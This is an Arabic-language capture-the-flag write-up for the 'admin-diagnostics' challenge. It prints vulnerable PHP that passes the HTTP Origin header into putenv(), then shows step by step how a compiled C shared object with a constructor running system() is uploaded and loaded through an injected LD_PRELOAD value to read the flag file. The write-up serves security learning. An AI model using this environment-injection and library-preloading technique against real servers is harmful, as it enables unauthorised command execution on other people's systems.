Skip to Content

Admin Diagnostics Write-up

January 4, 2026 by
Admin Diagnostics Write-up
test company name, Al(a)²

السلام عليكم ورحمة الله وبركاته 

هذه المقالة تقدم شرح لحل تحدي admin-diagnostics


التحدي: admin-diagnostics

مستوى التحدي: متوسط

بواسطة: wes4m

 


 بسم الله نبدأ،

بعد الدخول على صفحة التحدي، نجد هذه الصفحة ( اضغط على الصور لعرضها بحجمها الأصلي):

 

نلاحظ أن الصفحة تقترح علينا إدخال الأمر:  source لمعرفة الكود المصدري ، نُدخل الأمر

  

بعد إرسال الأمر سنجد كُود الـ PHP  التالي:

<?php
    session_start();
    include('funcs.php');
    if(!isset($_SESSION["dir"])) {
        $tmpDir = "./tmp/" . random_string(32);
        mkdir($tmpDir);
        $_SESSION["dir"] = $tmpDir;
    }
    function enable_diagnostics() {
        putenv("{$_SERVER['HTTP_ORIGIN']}_ENABLE_DIAGNOSTICS=1");
    }
    $command = $_GET['command'] . " ";
    if(isset($command)) {
        $c = explode(" ", $command);
        switch ($c[0]) {
        case "info":
            echo nl2br("\nYour IP: " . $_SERVER['REMOTE_ADDR']);
            echo nl2br("\nYour Tempdir: " . $_SESSION["dir"]);
            break;
        case "diag":
            enable_diagnostics();
            echo nl2br(shell_exec_getresults("./dig"));
            break;
        case "download":
            $data = file_get_contents($c[1]);
            file_put_contents( $_SESSION['dir'] . "/" . basename($c[2]), $data);
            echo "Downloaded file to " . $_SESSION["dir"] . "/" . basename($c[2]);
            break;
        case "list":
            listDir($_SESSION["dir"]);            
            break;
        case "destroy":
            session_destroy();
            break;
        case "source":
            highlight_file(__file__);
            break;
        }
    }    
?>

  

 

  • ماذا تفعل الدالة enable_diagnostics() بإختصار؟

 

 

بعد الاطلاع على المرجع السابق، يبدو بأن الدالة تقوم بإسناد قيمة لــ environment variable

وبعد تحليل الـ Parameter التي تُمرر للدالة، نلاحظ أنه يوجد Parameter  نستطيع تمرير قيمة له ، عن طريق الـ Origin  في الـ HTTP Request  

 نتوقف هنا للحظة؟ ألا تبدو بأنها ثغرة Shellshock ؟

من هنا بدأت أختبر إسناد قيم للمتغير PATH  ، لكن للأسف جميع المحاولات لم تُجدي ،

لذلك بدأت بالبحث عن متغيرات أخرى من الممكن استغلالها،

وفي هذه المرحلة العملية كانت عن محاولات عدة لحقن متغيرات مختلفة ومراقبة ما يحدث بعد ذلك،


 

المتغيرات التي قمت بإختبارها لم تجدي حتى وصلت للمتغير....

 

 

  • ماهو المتغير LD_PREALOAD بإختصار؟

    • خلال مرحلة الـ Linking  لإنتاج البرنامج ، الـ Linux Dynamic Linker  يبحث في مسارات معينة عن الـ   Library Functions  التي يستخدمها البرنامج ، المستخدم يستطيع إضافة مسارات أخرى يبحث فيها الـ Linker  ، كيف ؟ عن طريق هذا المتغير. 
    •  اطلع على هذا المرجع لفهمه أكثر: http://man7.org/linux/man-pages/man8/ld.so.8.html

 

بعد فهم طبيعة عمل المتغير السابق، نستطيع القول بأننا سنبدأ العمل الآن على: Injecting a shared library

وقبل البدء لنقوم بتلخيص الخطوات والأمور التي سنحتاجها

  1. سنقوم بإنشاء Shared Object   خاص بنا ونضع به التعليمات التي نريد تنفيذها عندما يتم تحميل الـ Shared  Object  وقت تنفيذ البرنامج
  2. سنحتاج لوسيلة تتيح لنا رفع هذا الـ Shared Object   على الـ Server   ومن ثم الحصول على المسار الخاص به
  3. سنحتاج أن نكتب قيمة المسار السابق في المتغير LD_PRELOAD     ومن ثم سنحتاج أن يتم تنفيذ البرنامج لكي يتم تحميل الـ.    Shared Object

 

 لنبدأ الآن في كل خطوة على حدى،

 

١ - إنشاء الـ Shared Object

قمت في البداية بكتابة هذا الكود البسيط بـ C  

 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void __attribute__((constructor)) command();
void command (void) {
system("ls");
system("pwd");
system("whoami");
{


بعد كتابة كود الـ C  ، نحتاج أن ننشئ ملف الـ .so  ، هذه التعليمة تؤدي الغرض:

gcc -fPIC -shared -o OutputFile.so fileName.c -nostartfiles

 

٢ - رفع ملف الـ .so    على    الـ Server

بعد العودة للكود المصدري الخاص بالـ PHP  نجد أنه بإمكاننا الرفع عن طريق إرسال الأمر Download  متبوعًا بـ URL  خاص بالملف الذي نريد رفعه على الـ Server  ، ثم اسم الملف ، أي كالآتي :

Download FileURL FileName

نقوم بعملية الرفع

 

بعد رفع الملف ، نلاحظ بأن الـ Server  أخبرنا بمكان الرفع ، وهذا يقودنا للخطوة التالية

 

٣ - حقن المتغير LD_PRELOAD

 نأخذ المسار الذي أخبرنا به الـ Server  ونقوم بحقنه في المتغير كالآتي:

  • ملاحظة تخص الحقن:

    •  قمنا بإضافة : في آخر المسار حتى تقطع الجزء الإضافي والذي هو:
_ENABLE_DIAGNOSTICS=1 

بعد حقن المتغير بالمسار نلاحظ بأن البرنامج استخدم الـ Shared Object    الذي قمنا برفعه!

لكن نحتاج الآن قراءة محتوى الملف الآتي حتى نحصل على الـ FLAG  :

_flag_943yr93h8u2jfhh93hf34j.TTxTT 

نقوم بالتعديل على ملف الـ C  ونعيد عمل الخطوات من ١ - ٣

ملف الـ C  النهائي:

 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void __attribute__((constructor)) command();
void command (void) {
system("ls");
system("pwd");
system("whoami");
system("cat _flag_943yr93h8u2jfhh93hf34j.TTxTT");
}

ونحصل على النتيجة النهائية:

 


Admin Diagnostics Write-up
test company name, Al(a)² January 4, 2026
Share this post
Tags
Archive
Injection attacks on System() Function